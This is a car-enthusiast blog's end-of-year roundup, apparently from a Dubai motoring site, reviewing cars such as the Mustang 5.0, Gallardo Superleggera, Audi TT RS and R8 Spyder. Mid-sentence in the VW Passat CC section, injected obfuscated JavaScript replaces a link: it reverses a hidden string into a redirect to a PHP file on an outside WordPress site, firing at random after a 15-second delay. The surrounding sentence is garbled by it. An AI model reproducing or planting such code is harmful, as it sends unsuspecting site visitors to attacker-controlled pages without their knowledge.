So pt3 is here – the end of the year, or better put, a wrap up of the year we’ve had. While clearly missing massive junks of what we have been up to, we have tried to tick off the highlights in what has been a rather bonkers period of time as a fully fledged site as apposed to just something run out of a bedroom.
2010 saw the retro Mustang get the engine it’s been crying out for – a good old 5.0-litre engine proving once and for all that there’s no replacement for displacement.
We’re trying to get our hands on a nice and simple manual version so we can lay down some times at the Yas drag strip and make the most of that simple – but very effective – live axle at the back.
Lamborghini Gallardo Superleggera
One of the first cars we got our sweaty mits on with the new site was the mildly unhinged Lamborghini Gallardo LP570-4 Superleggera.
It’s a rabid, uncompromised, beast of a car that bucks and twists under heavy acceleration and does its best to rip its steering wheel out of your hands if you’re not careful. We like it.
VW Passat CC
Less ballsy, but still pretty sweet, is the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/20103689/the-management-fleet-vw-passat-cc-2-0-r-line-update/” target=”_blank”>Passat CC that we had the pleasure of running for a couple of months thanks to the nice people at VW Middle East. With the same engine as the Golf GTI, but slightly more relaxed running gear, it proved itself to be a smart – and remarkably practical – way to tool around town.
Audi TT RS
I’d go as far as to say that this is Audi’s retort to the Nissan GT-R – only here, it comes with a manual gearbox and very few electronics.
With what’s essentially half a Lamborghini Gallardo engine under the bonnet, this car has serious legs.
McLaren MP4-12C
It’s still going to be another six months before we get to drive it, but we got up close and personal with the new McLaren a few weeks back.
McLaren hasn’t made its own car for far too long, so it’s going to be very interesting to see whether this can really put Ferrari and its 458 Italia on the back foot.
Audi R8 Spyder
Lopping off the roof of a ballsy supercar is always a tricky feat – get the engineering ever so slightly wrong and you’re left with a car that might look good, but is a complete wet fish in the driving department.
Thankfully, Audi managed to pull off a truly great car with the R8 Spyder.
If you like wafting about with nothing above your head, then this should be on your wish list.
Porsche Museum Visit
A stunning collection of Porsche Museum Classics arriving in Dubai was the last thing on our mind, however it happened.
The curators rolled into the Dubai Autodrome with an almost perfect collection of metal (and plastic) from the Gulf liveried 917 to the…
Rothmans sponsored, Pharoes rally winning Porsche 911 Rally Raid weapon.
2011…
There’s a hell of a lot to come in the New Year, so we hope you stay with us at crankandpiston to enjoy the ride!
